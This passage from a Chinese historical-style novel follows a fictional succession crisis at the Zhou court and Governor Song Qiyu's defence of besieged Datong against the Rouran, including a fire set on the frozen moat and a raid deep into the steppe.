几天后,在各个军营里都出现了罢黜成王和周亮等人职务的布告。还有细作拿着银钱和任命状潜入营区收买军官。又有老皇帝退位,新皇帝上台的消息传来,整个军营人心惶惶,发生了多起士兵哗变和军将逃散事件。在这种情况下,周亮建议石堃发表讨贼公告,率师回军,直捣开封。可石堃却以“敌众我寡,师出无名”为由,拒绝了这个提议。到了第十天,齐王已在滑州发表了“奉密旨讨贼”的檄文,并出任了天下兵马大元帅。石坚又派出使者来见石堃,提出两家联合,共同勤王的建议。石堃这才弄明白事情的原委,并开始思考自己的方略。 石堃在重赏来使后,急召周亮等将领前来商议应对策略。周亮兴奋地说:“这下可好了!有了讨贼的密诏,咱们便可以号令全军,挥师南进,解救圣驾,恢复国家了!能立下这等不世的功勋,也是我辈的荣光啊。”石堃轻笑一声,说道:“若勤王成功了又当如何?”周亮有些诧异地回道:“这,自然是皇上重掌国政,奸邪引颈就戮了……”石堃呵呵笑着打断他的话说:“我们的功劳再大,还能比得过齐王吗?如果,我们在勤王的过程中遭受了重大损失,将来,你让本王拿什么跟齐王争夺天下呢?”周亮的脊梁沟里窜起了一股凉意。他万万没有想到这位皇帝的亲生儿子,堂堂的亲王,竟在突遇变故时一点都不顾及国家的利益,而从头到脚只管他自己。周亮又一拱手说:“殿下,我们也可以先占领渡口,待齐王的兵马到来,合兵一处再取开封。”石堃走下帅座,轻轻拍了拍周亮的肩膀说:“枢密使能打仗,却不会玩政治。你没有明白本王的意思。齐王给咱们送来了‘奉密旨讨贼’的名义,我是求之不得。不过,现在谁胜谁败还不一定,咱们不宜过早参战。”周亮瞪大了眼睛,问道:“那我们要怎样呢?”石堃微微一笑说:“咱们可以先率军往河北,与张洪涛宣慰使汇合,再打出‘奉密诏平叛’的旗号,占领山东、徐州、淮北等地。凡是不愿追随本王的地区,我们一律可以按‘附逆从贼’论处。这样一来,不消几个月,咱们必然壮大。到了那时,齐王和福静公主也已两败俱伤,我们再挥师京城,天下不就是我们的吗!”还没等周亮答话,副将孙非和田宏业抚掌称赞道:“王爷高明啊!怪不得每次出兵,您都要我们带着家眷,原来,是为了遭逢变故可以无所顾忌。我们真是跟对了主子。”成王石堃笑着重回帅座,命令道:“将叛党罪责布告全军,同时打出‘天下讨贼总管’的旗号。咱们明日誓师,后日开拔,向着河北进军。”周亮虽然不太情愿,但被形势所逼,也只能说:“臣愿听殿下调遣。” 第三十三回3 天下震动 “公主谋逆,皇帝被废”的消息在几天前也传到了关北巡抚宋启愚耳中。宋启愚大惊失色,但却不敢声张。他先把收到的信卷烧毁,又秘密找来吴襄、曹可用、宋启智、余天锡和毛小等人商量对策。吴襄说:“现在我军被围,连月苦战,处境艰难,自顾不暇,要想参与平叛,恐怕相当困难啊。”宋启智也说:“是呀,哥。面对柔然人的进攻,我们想全身而退尚且不易,更不要说国内发生这么大的变故了。”毛小抚着额头想了想,说道:“记得宣道大人上次曾说,刘睿大军有十万兵马,成王的部队也有五万,若他们联合一处,再加上各地勤王的队伍,总兵力应跟逆党持平。京畿地区的战争恐怕不会在短时间内结束。我们还是要先打好眼前的仗,等击退了柔然人,才能进京勤王呀。”接着,余天锡说道:“这消息千万不能让柔然人知道,否则,我们就太被动了。”曹可用抓耳挠腮地说:“你说这个公主,放着好端端的富贵日子不过,偏要铤而走险。我要是公主,天天往那府里一躺,要啥有啥,我才不反呢!这皇帝老儿也是,身边的人谋反都发现不了,简直是个糊涂蛋。”吴襄笑笑说:“你要是公主,肯定没人敢娶。那静福公主不简单,她考虑的是后半辈子的荣华富贵,只要拥立新君有功,连她的儿子、孙子也都能权倾朝野。权势这个东西,对她们这种人来说,太有诱惑力了。”毛小又说:“这也就意味着,咱们不可能再有援军,只能靠自己跟敌人硬拼了。宣道大人得做好长远打算才是。”宋启愚紧咬着牙关,沉默了半晌,站起身说:“现在,皇帝被废,天下震动,我们首先要封锁消息,稳定军心民心。你们都是我最相信的人,此事仅限于咱这几个人知道,你们做得到吗?”几人跪地起誓,愿保守机密。宋启愚接着说:“咱们守卫着国家的门户,亲人们就在大同以南,咱们无路可退,只能跟柔然人血战到底。无论如何,我们都要,用全部的力量,拼最后的血气,想最优的计策,做最坏的打算。你们也知道,我已经向全城发布了征兵令,现已招募数千勇士补齐了兵员。同时,我也要求百姓们组织起来加强巡逻,防备奸细,照顾受伤的军将。如果这样计算,咱大同城实际的军队数量远不止两万,我有战胜柔然的坚定信心。”宋启智摩拳擦掌地说:“哥哥放心,咱们也有信心。当年咱四百人对四千敌军都没怕过,更别说现在有这么强的军力了。”曹可用也说:“对,只要有宣道在,咱就不担心,咱就一定能打败柔然。”宋启愚点头说:“现在国内发生了动乱,咱们也得有所布置,虽然大同城不能分出兵力参与平叛,但我们也不能不管人民的死活。我当修书给岳丈韩镇守使,命其长子韩德奎率领两千代州军马前往滑州,帮助齐王和再造入京作战。我还要给余先生和邝先生写信,命他们在襄阳和济南招募兵勇,参与平叛。”余天锡说:“这太好了,魁星三学这些年培养了不少军事人才,这些人正想为国出力呢。还有襄阳城防军里的钟成,济南城防军里的宋承康等兄弟,肯定都能拉起队伍来。”宋启愚转身重新坐定,又说:“咱们回到眼前,没有了援兵,咱的处境愈发艰难,而且,随着天气转凉,一旦护城河上了冻,我们就失去了一道重要的屏障,将不得不依托城墙跟柔然人肉搏。不知诸位可有良策教我?”毛小向前探了探身子说:“大人,咱还得依靠炮队的力量。咱得让柔然人从心里感到害怕,只要一听见炮响就拉稀,从而最大限度地保存自己,杀伤敌人。”吴襄拍着毛小说:“你把我想的话都说出来了。怪不得宣道一直提拔你,脑子确实灵光。”宋启愚郑容说:“好,柔然人上次大败之后,一直憋着劲想卷土重来。咱们就再让他们领教领教铁炮的厉害。天锡,下次大战你还是先呆在城中,等我查清了敌情,再把你们调上去,狠狠地奏那帮侵略者。”余天锡昂着头,傲气地说:“宣道大放心,天锡绝不给大丢脸。” 在接下来的两次血战中,柔然人都付出了惨重的代价。他们的骑兵再也不敢大模大样地游弋;他们的战马,只要听见炮声,就会异常躁动,不听主人使唤;他们的步兵和辎重部队更是远远地躲在后面,不敢贸然向前。在这种情况下,柔然宰相摩柯莫建议,应该放弃南侵,退回草原。但乌利可汗却很倔强,仍要继续围困大同。 十一月下旬的一个傍晚,天灰蒙蒙的,北风卷着寒雾吹得人睁不开眼,站不住脚。到了申末,乌云四合,零零星星的冰晶开始掉落。雪花聚集变大,最后竟飘起了鹅毛大雪。没过半个时辰,山川、城池俱披银装,树木、军营皆覆白袍。乌利可汗站在大帐外,仰脸迎受着风雪,突然大笑道:“天寒地冻,河池冰封,为我的健儿们报仇的时候到了!”箭伤初愈的失烈门从大帐里出来,把一件裘袍披在哥哥身上。乌利可汗一把抓住兄弟的胳膊,指着前方的大同城,说道:“失烈门,咱们最害怕的是周人的火器。现在,天降大雪,他们的火器可就派不上用场了!你再看这天气,寒冷至极,滴水成冰,那道阻碍我们的护城河也即将冰封。再有一天飞雪,咱们的勇士就可以直冲城下,占领关北的日子为期不远了!传令,明天早晨,叫所有将领到我的大帐议事,我们要四面围攻,拿下大同!” 到了夜里,北风刮得更紧了,雪也下得更密了。野心勃勃的乌利可汗真的可以利用天时攻陷大同这座关北要塞吗?被困在城中的宋启愚究竟能想出什么妙策抵挡敌寇的入侵呢?欲知后事如何,且看下回分解。 第三十四回1 进入草原的奇兵 自打土地上冻,宋启愚就每日亲自登城,观察护城河的结冰情况。他还派人日夜敲打河上的冰凌,阻止河水封冻。他又在城墙上增布了岗哨,以防柔然人突然来袭。可是,随着气温的降低,护城河里的冰不可阻挡地变厚变硬,并最终覆盖了整个河面。 当鹅毛大雪飘落之时,宋启愚站在北卫城的箭楼前,眼望着茫茫山川,苦思冥想着破敌之计。负责巡哨的将领常斌跑过来问道:“宋大人,今日还派人凿冰吗?”宋启愚轻轻摇摇头说:“冰冻尺余,恐怕不是人力再能开封的了,让弟兄们好生歇息,准备城头御敌吧。”炮军的崔同插嘴说:“大人,其实我们可以用桐油和火油把冰烧化。”宋启愚愣了一下,追问道:“你说什么?桐油和火油能烧冰?”崔同点头说:“是的,大人。我是丹阳人,跟着钟成当过水匪。那年春天,我们的队伍在丹江口被官军咬住了。为了逃命,钟大哥把船上做防水用的桐油还有少量火油都倒进了江里。那桐油比水轻,浮在水面上,钟大哥在上风位置一放火,引燃了好几艘官军的船,我们这才脱身逃出。还有一回,我们用桐油和火油把狭窄河道处的浮冰烧化,才摆脱了官军的追击。”宋启愚竖着耳朵,仔细地听着,问道:“你们用的桐油跟咱们火烧敌军所使用的是同一个东西吗?”崔同抱拳说:“大人,不会错,一样的东西,要是再加上火油和烧酒,效果会更好。”宋启愚突然转身,一把拉住崔同说:“随我回衙,将桐油的燃烧效果演示给我看。若这仗打赢了,我给你记特等大功。” 在巡抚衙门后园,巨型水缸里的浮冰和水面上冒出了熊熊火焰。那火苗长时间跳动着,甚至北风和暴雪都不能压制其活力。宋启愚转脸问曹可用:“咱的库房里还有多少桐油?多少火油?”曹可用摸着络腮胡,想了想说:“先前的储备再加上你到任后紧急调运的,少说得有四五万桶。火油也有万桶以上。”宋启愚兴奋地说:“我先前还在为铁炮无法在雨雪中使用而发愁,现在,我终于想到了应对的妙策。”宋启愚招手叫道:“申鲤、康恩、姚凯,丁宁,你们带领三千军士前出到护城河对岸,利用风雪黑夜做掩护,将三万桶桐油、五千桶火油加三千坛烧酒倾倒于冰雪之上,再撒些黄磷焦炭。待明日,柔然人来攻,定让他们过河的部队死无葬身之地。” 次日凌晨,大雪逐渐变小,只是雾霾较重。辰正,乌利可汗在军帐里发布了攻打大同城的命令。他将重装骑兵和器械部队全都集中在北方,强攻北卫城;而在其它方向,他则只派出轻装部队,牵制周军。 柔然尖兵在踏入护城河冰面游弋了一圈后,回来报告说冰盖厚实,足以承受车马部队的踩踏。于是,大将扎兰丁命令“铁浮屠”前出到河岸边缘,开弓放箭,掩护先头部队抱着茅草铺垫冰面。城上的周军也用抛石车、床子弩和弓箭进行着顽强的抵抗,并毙伤了大量敌人。至巳时,每座城门前的护城河上都已铺就了两条茅草通路。矗立在远处的乌利可汗轻轻地挥了挥马鞭。牛角号的声音震耳欲聋地鸣叫起来,那是全军发动攻击的信号。扎兰丁拔出腰刀,向前一指,大声命令道:“柔然的勇士们,跟着我冲上去,踏平北卫城!”五千“铁浮屠”分为两路,呐喊着、呼喝着勇猛地奔上了冰面。河冰被铁蹄踩踏得“吱嘎”乱响。后面的器械部队也开始缓缓前移,向城门开进。这些“铁浮屠”军容齐整、装备精良。他们渡河后很快便在北卫城外布设了几十个军阵。这些士兵又箭发如雨,完全压制住了城上的周军。 一支雕翎射中了段卫国的左臂。他咬着牙,用右手强拔了那支箭。接着,他一边命亲兵给自己包扎伤口,一边喊叫着:“床子弩,给我使劲射!弟兄们,给我往下扔滚木、雷石、火油桶!”周军将士见主将如此英勇,也都拼了命地打击着敌人。不时有军士倒下,双方的死伤都很重。 自打今天开战,宋启愚就很忙碌。他先迅速调整了防卫部署,给军将们分配了作战任务,又亲自登上城墙,观察敌人的兵力配备。宋启愚把余天锡叫到面前,问道:“这种小雪天气,你的铁炮还能用吗?”余天锡说:“露天地里不行,但遮着雨雪就能用。我们可以把炮搬进箭楼。只是箭楼太小,仅能容下两门铁炮。”宋启愚眼前一亮,命令道:“城的各个角楼应该也能放置铁炮。这样,你在各个箭楼和角楼都布置一两门铁炮,炮口皆指向城门外方向。待护城河上燃起大火,你这边便发炮,痛击敌军。”余天锡唱了个诺,转身布置去了。 午时,随着雾气渐渐散开,宋启愚一声令下,命所有的抛石车改变方位,并将抛射物换成烧红的煤块和整罐的烧酒。一时间,空中火线乱飞,只是全都没有砸在柔然人身上。扎兰丁哈哈大笑,叫道:“周朝人在给我们放流星吗!这是要欢迎我们进城啊!攻城部队,给我加把劲,撞开他们的城门。” 柔然人的兴奋时光不过片刻。先有零星的火苗在冰面上蹿出,紧接着,整个河道上便燃起了熊熊火焰。在柔然人还在愣神的时候,城上的炮声就响了起来。几颗弹丸呼啸着砸进“铁浮屠”阵中,瞬间便毙伤柔然兵十几人。扎兰丁部队的阵型开始混乱。在又遭受了几轮炮击后,柔然的士兵倒还能挺住,但战马却纷纷惊惧跳跃,不听指挥。很多骑兵在后退的过程中,踩上了溜滑的冰面。这些“铁浮屠”通身披甲,重达千斤,一旦跌倒,人马皆不能自行起身。也有一些“铁浮屠”一路歪斜地奔回了护城河北边,但燃烧的烈火却把他们又逼回了冰盖。见此情状,扎兰丁赶忙命令步兵帮着“铁浮屠”脱卸衣甲,又叫器械队向回退却,开辟冰上通路。 大同城里的周军,一边不停地将燃烧物抛进护城河中,一边用铁炮、床子弩、滚木礌石和弓箭杀伤着敌军。当沉重的攻城车再次碾压回来时,河道上的冰盖承受不住了。只听“咔”的一声巨响,浮冰一下子断裂开来。置身冰上的人马器械瞬间失去了平衡,掉入冰窟的多达百人。呼救声、惨叫声、爆破声、马鸣声不绝于耳。又过了小半个时辰,柔然人渐渐抵敌不住,开始溃散。要说这些军人也算勇敢。为了给同伴打通生路,有些甚至不惜投身火海,用自己的身躯阻挡烈焰。一支流箭飞来,射死了扎兰丁的坐骑。亲兵们不由分说,拥着主帅就往北岸退却。就在扎兰丁即将逃脱时,一罐烧酒从天而降,正砸在扎兰丁跟前。这位柔然大将瞬间就被烈火包围了。他张牙舞爪地挣扎着,歇斯底里地喊叫着。还没等亲兵们上来营救,一支五尺多长的床子弩飞来,竟将扎兰丁牢牢得钉在了冰面上。这位在柔然平灭北燕的战争中立下过赫赫功勋的大将,就这样命丧大同。正在远处观战的乌利可汗心疼得险些摔下马来。他再叫后卫部队过去抢救,已经无济于事。 见敌人失去了抵抗能力,宋启愚随命令张广胜和伍名率领两千部队冲出城去,缴获物资,斩杀敌兵。这一仗又打了近两个时辰,才彻底结束。 在统计完伤亡情况后,哈量台等将领纷纷向可汗建议,应退回漠北,等待时机,再伐南朝。乌利可汗紧紧地握着拳头,红着眼睛说:“扎兰丁是草原的英雄,今天竟殒命于此。要是就这么撤了军,我心不甘,他心也不甘啊!我将从国内再调三万兵马来,补充给你们。一定要让大同城付出惨重的代价。”他又举起一份文扎,说道:“另外,据深入中土的细作禀报,周朝发生了大的变故,虽然具体情况尚不清楚,但至少跟皇权的争夺有关。如果真是这样,我们就更不能退兵了。”宰相摩柯莫说道:“可汗说的有道理。我们已经围困了大同几个月,不妨再坚持坚持,说不定能取得意想不到的战果。” 第三十四回2 进入草原的奇兵 此时,千里之外的开封城也正在经历着浩劫。 自石坚就任天下兵马大元帅以来,他整顿军队,发表檄文,向各边关、省、府征调兵将,并于十月末进驻了黄河北岸。一时间,西北宣慰使张永德、河南巡抚白铭肇、淮北巡抚魏柄忠、淮南巡抚卢庆春、湖北巡抚司马焌、荆襄巡抚燕行然等人纷纷起兵响应,听从齐王调遣的部队超过了二十万人。不过,好景不长,先有静福公主以皇帝的名义斥责石坚等人谋反;她又用封官许愿的方式稳住了淮南、湖北地区;接着,大将赵义廷、秦国锐又先后击败了张永德和白铭肇的先头部队;而成王石堃又袭占了淮北;致使天下局势混乱不堪,地方豪强借机做大。 至十二月中旬,张永德率领四万精兵驻扎于中牟,石坚和刘睿的大军也渡过黄河到达了封丘。静福公主则命秦国勋和赵义廷领兵前来抵敌。双方在京畿地区鏖战数次,互有胜负。 腊月二十八日夜,汴梁城刚刚下过一场大雪,天寒地冻,滴水成冰。同泰帝躺在阴冷的金龙殿内,蓬头垢面,脸如死灰。他张了张干裂的嘴,却没有说出话来,两行眼泪静静地淌落。唯一侍候在身边的白晨跪爬过来,询问皇帝需要什么。同泰帝断断续续地说:“朕登基之初御驾亲征……用内卫杀乞丐和赐死陈松昌的办法震慑了群臣,以禁绝……恩荫的方式博取了举子之心……用免除死债和推行《青黄法》等形式提升了民望,通过禁榷茶叶充盈了国库……对外征战,开疆拓土……朕的言行算是个好皇帝。却落得……这等下场,是静福……对不起朕……哎……也许……也许……是朕迫害兄弟的报应。”沉默了片刻,他颤抖着手,指着床角,喘息着说:“朕,知道……自己……不行了……在那个密格中,朕……上月……写下了……遗诏……命……皇五子……石坦……继位,也只有他……有良心……能……亲爱……兄弟……善待……皇族。”此时,同泰帝的脸色已经象纸一样白。跪在床前的白晨早已泪流满面,泣不成声。他握着同泰帝的胳膊说:“陛下春秋鼎盛,只要好好将息,必有重掌乾坤的一天。”同泰帝喉咙里发出“咯喽、咯喽”的声音,又吐出了几个字:“朕……好……名……历……史……”他大瞪着两只眼睛,咽下了最后一口气,享年四十六岁。 不知是巧合还是另有原因,在同泰帝驾崩时,宣德殿藻井里的龙珠突然掉了下来,砸坏了御座前的桌案和几块台砖。 静福公主得知哥哥死了,先是表情戚然,继而咬牙说:“自先太后薨逝,本宫就没有一日安眠。如今,你也去了,可我这心里却更害怕了。”她对身边的秦邦未吩咐道:“儿啊,你去把陛下的尸身秘密焚化。对外谎称太上皇仍然健在,每日仍要派可靠的人往金龙殿里送水送食。至于那个发疯的白晨,说不定还有用,就把他封在殿内,不许走脱。”已经开始觊觎皇位的秦邦未先说了个“儿臣这就去办。”然后又安慰母亲说:“娘亲莫怕,咱手里不但有二十万禁军还有江南数省地盘。齐王和成王的军队在澶州、光州还屡有摩擦,咱们的胜算更大。就算拼到最后,咱实在不行,儿也可以保护着您逃到杭州去,在那里另立朝廷。”静福公主轻轻地摆摆手,示意秦邦未去办差。 大年三十这天,宋启愚先处理了日常事务,又看望了受伤的军兵,慰问了一些将士家属。他写下新年文告,命人宣谕全城。午后,他来到华严寺,祈求佛祖,早退敌兵。他又敲响了钟鼓百声,激励军民抗战到底。为了提高士气,他还在文庙、法华寺等处安排了几场大戏,供全城军民观看娱乐。 申末时分,宋启愚亲到文庙戏台,观看戏曲。唱戏的班主见巡抚驾到,赶忙手捧着戏折,跪请大人点戏。宋启愚接过戏折翻了翻,说道:“戏我不太懂,只是听个热闹罢了。就点一出《孙庞斗智》吧。”班主半真半奉承地说:“大人点的好。这出戏既热闹又曲折,正适合表演给大人和军将们看。”他转头对戏台喊道:“《孙庞斗智》,里面伺候着。”不多时,垫场的小戏撤下,大戏正式开演。就见出场的孙膑手握着毛笔,唱道:“从清秋到严冬把兵书写,喜的是残废身生趣不绝。我只说剑折霜锋如同废铁,只好是病榻呻吟暗伤嗟……”宋启愚一边瞧戏,一边跟身边的兄弟和军将们说笑,显得十分轻松亲和。军士和百姓们见巡抚大人如此镇定,也都安心地看起戏来。可他们哪里知道宋启愚心里的负担有多重啊。他既要担心国中的局势,又要面对眼前的困境;他要计算敌我的兵力,考虑作战的策略;他还要想办法减少伤亡和损耗,维持住全城军民的生计。他真的太难了。 看了前面几段戏后,宋启愚站起身对周围的军将作了个揖,笑着说:“列位且安坐,我还要到城上巡哨,先失陪了。”说完,宋启愚带着兄弟宋启智、申鲤、权正宜等人离开了文庙。走出了一段距离,申鲤对权正宜说:“你听,现在唱的是《围魏救赵》。当年,大人在警巡队给我们讲过,可精彩了。”宋启愚突然停下了脚步,转身问道:“你说什么?围魏救赵?”申鲤被吓了一跳,结结巴巴地说:“大人,我,我是说唱的戏《围魏救赵》。”宋启愚的脸上泛起了笑容。他兴奋地说:“好!就是围魏救赵!”他见申鲤等人愣神,接着说:“走,巡城去。”他又转脸问权正宜:“怎么,吓着你们了?你们很怕我吗?”权正宜拱手说:“大人,我们不是怕您,是敬重您。我们知道您的压力大,是怕说错了什么,给您添麻烦。”宋启愚哈哈大笑说:“好啊,我得谢谢你们添的这个麻烦……” 大年初一,宋启愚办完了公事,特意将段卫国、吴襄、曹可用、董阳、余天锡和宋启智叫进了后堂。让大伙落座,命亲兵上茶后,宋启愚和蔼地问道:“段将军的箭伤怎样了?我送的金疮药可够使?”段卫国抱拳躬身说:“不碍事,您看……”他前后挥动了几下胳膊,又说:“大人对末将的关怀,段某永世不忘。今后有何差遣,大人尽管吩咐。”宋启愚又询问董阳:“光照的伤好得差不多了,只是破了相,会留下个疤……”曹可用拍了董阳一把,说:“他皮糙肉厚,啥事没有。前天他还跟我说,这个疤跟宣道脸上浅痕的位置差不多,又都是打柔然留下的,他心里还美滋滋的呢!”董阳尴尬地推开曹可用,骂道:“放屁,你才皮糙肉厚呢。少拿我取笑。宣道叫咱们来,肯定有大事,都听宣道的。”宋启愚乐呵呵地招呼大伙来到沙盘前,说道:“启智,你把敌我现在的军事态势讲一讲。”宋启智答应一声,指着沙盘说:“各位将军都是行家,我只讲主要的。我大同城被柔然七万大军围着,敌人在我周边还挖筑了两道壁垒;北边的野孤岭一带,敌人派驻了几千人马,保障撤退通路;还有近万敌军分成数股,在南边对朔州、应县、山阴、雁门等地施加着压力;另有数千柔然军马驻扎于东边的马埔山,防备从蔚州、武州等地来的我朝援军。”段卫国表情凝重地说:“咱们已经被围了四个多月,朝廷的援军啥时候能到呀?宋大人总安抚大家说刘相的兵马在路上,可我这心里还是没底呀!”宋启愚笑了笑说:“段将军莫急,有些事情本抚没有告诉你们,自有我的道理和苦衷。等将来打退了柔然人,你们就什么都明白了。你们现在只需坚信一点——咱们一定能打赢。”余天锡拍了拍段卫国的肩膀说:“老段,相处了半年多,你应该信得过大人。虽然敌人数量多,我们城中的物资也消耗了不少,但敌人的战斗力也在快速衰减。自从咱们消灭了‘铁浮图’和他们的器械队,柔然人已经明显失了锐气。你看看最近这一个多月,敌人几乎没有像样的攻击。若我们能再次重挫敌军,他们就只有逃命的份了。”曹可用也说道:“这几个月,咱们歼灭的敌人有好几万,却没见他们少多少,这说明,柔然人又从国内抽调了兵力。以我对柔然的了解,他们后方能打仗的人都已经上了前线,他们没后劲了。”其他几人也各自表达了观点。宋启愚手扶着沙盘边缘,目光炯炯地说:“对,现在的柔然被拉到了极限,我们只要再给他一击,他就撑不住了。本抚苦思多日,终于在昨天悟出一计,这才找你们来推演敌我态势,比较各自优劣。之所以没有明说,就是想听听各位在不知情的状态下对战局的分析判断。现在,我对实施‘围魏救赵’之计更有信心了。”几名将领全都把目光投向了宋启愚。段卫国说:“大人想怎么做?” 第三十四回3 进入草原的奇兵 宋启愚手指沙盘说道:“柔然与我大周边境绵长,他们又把主力都投在了战场,若我们能派出一支奇兵深入草原,定能把柔然搅得地覆天翻。到那时,就算咱不打他,他们也待不住。”吴襄听得两眼放光,抱拳说:“宣道,我们几个谁能做这个奇兵,你就下命令吧!”宋启愚摇摇头说:“咱们在柔然人的包围圈里,都无法完成此计。目下,最合适的人选只有一个——张家口镇守席军民。”吴襄一拍巴掌,说道:“对呀,让国栋杀进柔然腹地再合适不过了。”宋启智也说道:“国栋兄长确为最佳人选。既然如此,哥哥可立即飞鸽传书,命席军民率军出征。”段卫国略有所思说:“柔然人弓马娴熟,神箭手极多,若射下了信鸽,岂不把我军计划都暴露了?”余天锡笑着说:“段将军不知道,我们余家训练的鸽子,现以夜行鸽居多。到了晚上,柔然人莫说射杀,就是发现都难。”宋启愚又补充道:“即使计划真的落到敌人手中,他们也看不懂。”段卫国惊讶道:“这又为何?柔然人中也有懂汉话的呀。”宋启智插嘴说:“自打上任大同,我哥哥就担心通信的安全,故而他把原先的哨音联络方式加以改进,编制了一套简单的字谱。所有重要的信卷,都用符号代替原文,观者若不对照字谱,根本不可能知道其中的意思。”段卫国听后,简直对巡抚宋启愚佩服得五体投地。他身施一躬说:“大人真乃神人,我大同乃至关北这几十万军民全赖大人才得保全了。” 第二天中午,张家口镇守席军民将毛奇、赵横、许青、吴云辉、李浩、王闯等亲信部将叫到衙门里。席军民朗声说:“你们都是跟着我从死人堆里爬出来的。几个月前,我曾让你们做好准备,随我去解大同之围,现在,是上战场的时候了。你们愿意随我出征吗?”部将们抱拳应诺:“愿随将军赴汤蹈火。”许青跨前一步,说道:“我们都等着这一天呢,将军只管下令吧。”席军民起身说:“好。咱们后天出发。不过,跟之前预定的作战方案不同,咱们不往大同去,而是向北再向西,直插柔然腹地。咱们要象当年迂回檀州一样,把柔然肚子里的心肝脾肺全都割下来,让敌人痛不欲生,不能忍受。”吴云辉眨着小眼睛,摩擦着双手,高兴地说:“太好了,我营里的弟兄们都盼着这么打仗呢!”赵横也开心地说:“就是,我手下的弟兄也一准儿高兴。”李浩插嘴说:“你们是盼着发财的吧。不过,柔然人抢我们的东西,咱再替老百姓抢回来,天经地义!”几个将领彼此会意,相视而笑。毛奇挠了挠额角说:“大人在动兵前,是否还应请示一下马镇守使?上次您曾得罪过他,若他给咱们穿小鞋,咱还真有些麻烦。”席军民点点头说:“你的担心有道理。不过,宋启愚大人已经有所安排。我们出兵后,齐王调用张家口一千兵马参与秘密行动的谕令就会送到武州。他马庆明管不了我们了。”许青等人敬佩地一挑大拇指说:“总听席大哥提起,真想有幸见见这位宋大人。”王闯骄傲地仰起脸说:“我们宋大人不但是稀世的谋臣,更是沉着的统帅。古时候的韩信加上霸王也未必是我们宋大人的对手。等咱们打了大胜仗,我领你们去见。”席军民打断众人说:“好了,回头让王闯给你们讲讲宋大人在襄阳和济南的故事。现在,都各自回营好好准备,多带些马匹、口粮,对下面的兵卒要先封锁消息,只说是到元宝山前哨寻机歼敌。另外,从即刻起,张家口堡全城戒严,没有本将手令,一概不许出入……” 几天后,一支周军骑兵杀进了柔然领土。 因张北草原有大股敌军,席军民没有率部走元宝山峪口,而是向西北翻越了台路沟,又沿着三台河一路北上,在安固里淖击溃了一个牧民部落后,他们再折向西南,仅用了十天时间,便杀到了察哈尔草原上。席军民请向导帮自己确定了一下方位,又跟将领们修订了作战方案,随率领部队向南杀向柔然人的重要聚居地——乌兰。 次日傍晚,席军民的队伍来到了纳尔松河沿岸。在哨探了多次,没有发现敌人重兵之后。席军民下令毛奇、赵横从东边突击,李浩、王闯从西边突击,自己带兵从正面直杀,而许青和吴云辉领预备队断后。攻打乌兰的战役仅进行了一个时辰,除斩杀千余柔然羸兵外,还俘虏了三千多柔然平民和奴隶,缴获了三千匹战马、上万头牛羊和无数金银珠宝。 战后,席军民来到萨满教堂前,对众将说道:“此地离大同前线仅有三天路程,且乘着夜色溃逃的敌人也不少。我们在这儿不宜久留。命令将士们,今晚好好休息,明日天一亮,我们就开拔。”吴云辉问:“大人,缴获的东西怎么处理?”席军民一笑说:“俘虏吗,愿意归附的,派人押往蔚州;不愿投降的,明天早上带到纳尔松河驱散。财产吗,你小子早想好了吧!老规矩,留下公家的和抚恤战死弟兄的,全都给大伙分了。”军将们人人眉开眼笑,兴奋不已。席军民又说:“不过,我的脾气你们也知道。二鹏、小白他们是怎么死的你们应该记得,别犯了我的军规。”众将恭敬地应诺,转身退去。 次日一早,席军民集合了部队,火烧了乌兰,继续沿着阴山南麓向西开进。 这支进入草原的奇兵虽然只有千把人,但他们作战凶狠,来去如风,短时间内就把柔然南部搅了个鸡飞狗跳。更令柔然人难以接受的是,这支奇兵一度袭扰过他们的首都——大青城。一些不满乌利统治的贵族开始悄悄联络,欲图发动政变;一些部族长老也开始密令本部保存实力,以期在未来获益;甚至乌利的亲信也开始阳奉阴违,为各自寻求退路。面对这种不利的政治局面,乌利可汗会怎么做呢?苦守孤城的宋启愚又能否取得最终的胜利呢?欲知后事如何,请看下回——《失一鹿天下逐》。 第三十五回1 失一鹿天下逐 二月上旬,一场暴雪袭击了大同。关北地区千里莽原,处处萧杀,但在厚厚的积雪下面,一些植物的嫩芽却开始悄然萌发,春的脚步越来越近了。 被一系列坏消息搅得心神不宁的乌利可汗,失眠已达十多日。经过激烈的思想斗争,他不得不找来摩柯莫和失烈门商讨关于退兵的问题。摩柯莫建议先把马埔山的部队撤到野孤岭布防,同时,命令向南攻击的部队快速回营,其后,由失烈门领着小股部队做掩护,而乌利则统帅全军,乘着暗夜,返回漠北。乌利可汗无奈地叹气说:“本可汗原以为南朝内乱,有机可乘,我们可以轻松地夺取人口、牲畜、土地和财宝,并化解内部矛盾,可谁成想我乌利竟遇到了宋启愚这样的对手,被大同城绊住了脚。南朝有如此人才,恐怕我们今后再想踏入关北就难了!”失烈门咬着牙说:“可我还是不甘心呀!勇士们不怕南朝人,但他们的火器实在太厉害了。可汗,我请求,在撤退之前,再攻击一次大同城,用我们手中的弓箭再教训教训南朝人。”乌利可汗摆摆手说:“不要做无谓的牺牲了。本次关北战争,我们处处落于下风,没有取得任何战果。现在,我面临的最大挑战不是进攻,而是撤退……”摩柯莫看着似乎突然衰老了许多的可汗,安慰道:“可汗,其实我们还是有收获的。至少咱们占领了绥州地区,拿下了热河和建德、昌黎地区,那可都是重镇啊!”乌利可汗颓然地用手支着头,声音黯淡地说:“主攻方向没有进展,还是咱们输了。失烈门,三天后,你带着部队对北卫城再做一次佯攻,掩护大军北归吧……” 悠扬的钟声飘荡在空中,一百多军士奔跑在城墙内外和大街小巷之间。他们不停地叫嚷着:“大同解围了!柔然逃跑了!我们打赢了!抗战胜利了!”全城军民一开始还有些疑惑,在反复听闻多遍,确认喜讯之后,人们先是欢呼雀跃,奔走相告,继而喜极而泣,以头抢地。接着,人们又冲上街头,开始用各种方式没命地庆祝起来。欢庆的人中有敲锣打鼓的,有高歌抒怀的,有相拥蹦跳的,有扭动起舞的;士兵们更是举起兵器和火把一边挥动,一边高叫着“胜利”。突然,有人提议说:“走,拜谢宋大人去!”全城军民瞬间统一了方向,十几万人兴高采烈地朝着巡抚衙门拥去。 见来的人太多,宋启智担心哥哥的安全,建议派兵维持秩序。宋启愚制止说:“大伙压抑了那么久,也该痛快痛快了。而且,所有兵民都是保卫城池的英雄,他们配得上这么盛大的庆祝。”说完,他毅然走出衙外,站在高高的台阶上,含笑抱拳答谢军民。他还不时躬身,高声说道:“阖城一心,军民用命,才能得此胜利!宋宣道感谢人民,感谢将士!”是夜,宋启愚命令把府库里剩余的烈酒全都分发给军民人等。那馥郁的酒香和欢乐的情绪熏染得每个人都有些飘飘然起来。 